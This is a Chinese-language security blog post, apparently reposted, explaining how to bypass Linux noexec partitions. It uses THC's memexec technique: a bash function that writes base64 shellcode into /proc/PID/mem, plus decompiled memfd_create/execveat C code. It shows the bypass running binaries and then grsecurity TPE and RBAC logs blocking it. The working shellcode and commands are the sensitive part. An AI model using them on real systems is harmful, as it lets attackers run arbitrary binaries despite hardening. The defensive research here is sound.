绕过noexec(不可执行)分区

admin 2024年11月20日20:36:30评论15 views字数 5433阅读18分6秒阅读模式

用户空间执行而不接触磁盘在黑客社区中已经存在了相当长的时间。关于用户空间执行的第一篇论文是由grugq于2004年撰写的。从那时起,这种技术在黑客社区中以各种形式不断演变。最近,THC(黑客选择,一个老派黑客社区)发布了一篇题为“绕过noexec并执行任意二进制文件”的文章,将这一概念提升到了一个新水平,通过简化编写绕过带有noexec标志的分区的PoC/漏洞利用的过程。这种漏洞利用向量的根本原因在于2012年对Linux内核所做的更改,该更改取消了对写入/proc/PID/mem的限制以及特定系统调用实现所使用的内核API和共享内存是一致的。THC的文章详细解释了PoC的工作原理。配合FFI简化了攻击链条的路径和成本,这对于嵌入式系统的整体防护设计是极大的挑战。

设置一个带有 noexec 标志的 RW 分区

dd if=/dev/zero of=ro-partition.img bs=1M count=100mkfs.ext4 ro-partition.img mkdir /mnt/ro-partmount -o loop,noexec ro-partition.img /mnt/ro-part/cd /mnt/ro-part/git clone https://github.com/hackerschoice/memexec.git

编译

nasm -f elf64 -o memexec-bash-arg-env.o memexec-bash-arg-env.nasm && ld memexec-bash-arg-env.o

生成shellcode并用base64编码

ved@debian-vtest:/mnt/ro-part/memexec$ objdump -d a.out |grep '[0-9a-f]:' | grep -v 'file' | cut -f2 -d: | cut -f1-7 -d' ' | tr -s ' '|tr 't' ' ' | sed 's/ //g' | xxd -r -p | base64 -w 0SIngTTHSSIM4AHUQSIN4CCF1CUiD6AhJicLrBkiDwAjr5EyJ0E0x200x5EiDOAB1EEmJw0mD6whIg8AISYnE6wZIg+gI6+RMidhNMe1IMf9IixhIOft0JUiLC0iB4f///wBIgfktLQAAdQlJicZIiXj46wlIg+gISP/H69NIieVIgewSBAAASLhrZXJuZWwAAGoAULg/AQAASInnSDH2DwVJicC4AAAAAL8AAAAASInmugAEAAAPBUiJwkiD+gB+D7gBAAAATInHSInmDwXr1LhCAQAATInHagBIieZMifJIMclNMclNieJBuAAQAAAPBbg8AAAAv2MAAAAPBQ==

bash函数

ved@debian-vtest:/mnt/ro-part/memexec$ memexec() { bash -c 'cd /proc/$$;exec 4>mem;base64 -d<<<SIngTTHSSIM4AHUQSIN4CCF1CUiD6AhJicLrBkiDwAjr5EyJ0E0x200x5EiDOAB1EEmJw0mD6whIg8AISYnE6wZIg+gI6+RMidhNMe1IMf9IixhIOft0JUiLC0iB4f///wBIgfktLQAAdQlJicZIiXj46wlIg+gISP/H69NIieVIgewSBAAASLhrZXJuZWwAAGoAULg/AQAASInnSDH2DwVJicC4AAAAAL8AAAAASInmugAEAAAPBUiJwkiD+gB+D7gBAAAATInHSInmDwXr1LhCAQAATInHagBIieZMifJIMclNMclNieJBuAAQAAAPBbg8AAAAv2MAAAAPBQ==|dd bs=1 seek=$[$(cat syscall|cut -f9 -d" ")]>&4' "$@"; }

Show time

ved@debian-vtest:/mnt/ro-part/memexec$ cp /bin/id .ved@debian-vtest:/mnt/ro-part/memexec$ ./id-bash: ./id: Permission deniedved@debian-vtest:/mnt/ro-part/memexec$ cat id |  memexec -- 253+0 records in253+0 records out253 bytes copied, 0.000326824 s, 774 kB/suid=1000(ved) gid=1000(ved) groups=1000(ved),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),109(netdev)

根据decompilers还原C语言逻辑

#include <stdio.h>#include <stdlib.h>#include <string.h>#include <unistd.h>#include <sys/mman.h>#include <sys/syscall.h>#include <fcntl.h>#define BUFFER_SIZE 1024char buffer2[BUFFER_SIZE] = {0};int main(int argc, char *argv[], char *envp[]) {    // Find the start of the stack    char **env = envp;    char **arg = argv;    char *last_arg = NULL;    char *first_env = NULL;    // Find the last argument and the first environment variable    while (*arg) {        last_arg = *arg;        arg++;    }    first_env = env[0];    // Create a memory file descriptor    int memfd = memfd_create("kernel", 0);    if (memfd < 0) {      syscall(SYS_exit, EXIT_FAILURE);  }    // Create a buffer for reading input    char *buffer = buffer2;    if (!buffer) {      syscall(SYS_exit, EXIT_FAILURE);    }    ssize_t bytes_read;    while ((bytes_read = syscall (SYS_read, STDIN_FILENO, buffer, BUFFER_SIZE)) > 0) {        // Write data to the memory file descriptor        if ( syscall(SYS_write, memfd, buffer, bytes_read) != bytes_read) {          syscall(SYS_exit, EXIT_FAILURE);        }    }    if (bytes_read < 0) {      syscall(SYS_exit, EXIT_FAILURE);    }    // Prepare to execveat the program in memfd    char *empty_path = ""; // AT_EMPTY_PATH    char **new_argv = argv; // Use the original argv    char **new_envp = envp; // Use the original envp    // Execute the program in the memory file descriptor    syscall (SYS_execveat, memfd, empty_path, new_argv, new_envp, 0);    // If execveat fails     syscall(SYS_exit, EXIT_FAILURE);}

防御机制

PaX/GRsecurity 是对抗这种绕过技术的唯一解决方案。原生 Linux 内核未来可能会有解决方案。

漏洞利用方法 防御机制
Overwrite /proc/*/mem PaX/GRsecurity默认开启/proc//mem 限制
memfd_* execution执行 1) PaX/GRsecurity RBAC(不需要任何策略)将其视为 SHM_EXEC 2) PaX/GRsecurity TPE

在没有 RBAC 的情况下启用 TPE(受信路径执行):

ved@debian-vtest:/mnt/ro-part/memexec$ groupadd -g 1005 grsec_tpeved@debian-vtest:/mnt/ro-part/memexec$ usermod -aG 1005 ved

Have fun!

ved@debian-vtest:/mnt/ro-part/memexec$ source memexec-perl.shved@debian-vtest:/mnt/ro-part/memexec$ cat /bin/ls | TIME_STYLE=+%s memexec -lah==> RESULTs[   59.871267] grsec: denied untrusted exec (due to being in untrusted group and file in non-root-owned directory) of / by /[perl:1426] uid/euid:1000/1000 gid/egid:1000/1000, parent /usr/bin/bash[bash:1425] uid/euid:1000/1000 gid/egid:1000/1000ved@debian-vtest:/mnt/ro-part/memexec$ deluser ved grsec_tpe

在没有 TPE 的情况下启用 RBAC:

ved@debian-vtest:/mnt/ro-part/memexec$ gradm -Eved@debian-vtest:/mnt/ro-part/memexec$ source memexec-perl.shved@debian-vtest:/mnt/ro-part/memexec$ cat /bin/ls | TIME_STYLE=+%s memexec -lah==> RESULTs[  400.930022] grsec: (default:D:/) denied execution of / by /usr/bin/perl[perl:2168] uid/euid:1000/1000 gid/egid:1000/1000, parent /usr/bin/bash[bash:2167] uid/euid:1000/1000 gid/egid:1000/1000

来自老派黑客遗产之额外奖励

假设 THC 的方法适用于二进制/后门执行。还有另一种有趣的方法可以绕过 noexec 限制,这主要惠及利用编写者(抱歉,渗透测试者!这不适合你们)。GRHack 引入了一种通过利用 Python 中称为外部函数接口(FFI)的特性来规避 noexec 的技术。这个特性使得 Python 开发者可以直接从共享对象调用任何 C 函数。通过将利用程序移植到 Python,可以绕过 noexec 限制。需要注意的是,这种方法特别影响 GNU/Linux 系统,因为 OpenBSD 不允许在 noexec 分区中加载共享对象。

Reference

  • Bypassing noexec and executing arbitrary binaries https://iq.thc.org/bypassing-noexec-and-executing-arbitrary-binaries

  • A /proc/PID/mem vulnerability https://lwn.net/Articles/476947/

  • Execute ELF files without dropping them on disk https://github.com/nnsee/fileless-elf-exec

  • userland exec for Linux x86_64 https://github.com/bediger4000/userlandexec

  • The Design and Implementation of Userland Exec https://grugq.github.io/docs/ul_exec.txt

  • Python in noexec-land https://web.archive.org/web/20100720104659/http://dp.grhack.net/2009/09/17/python-in-noexec-land/

  • https://en.wikibooks.org/wiki/Grsecurity/Appendix/Grsecurity_and_PaX_Configuration_Options#Trusted_Path_Execution_(

  • https://grsecurity.net/featureset/rbac

  • PoC run-ls.py https://github.com/hardenedlinux/grsecurity-101-tutorials/blob/master/threat_model/userland_exec_noexec_bypass.md

原文始发于微信公众号(赛博堡垒):绕过noexec(不可执行)分区

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年11月20日20:36:30
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   绕过noexec(不可执行)分区http://cn-sec.com/archives/3416670.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息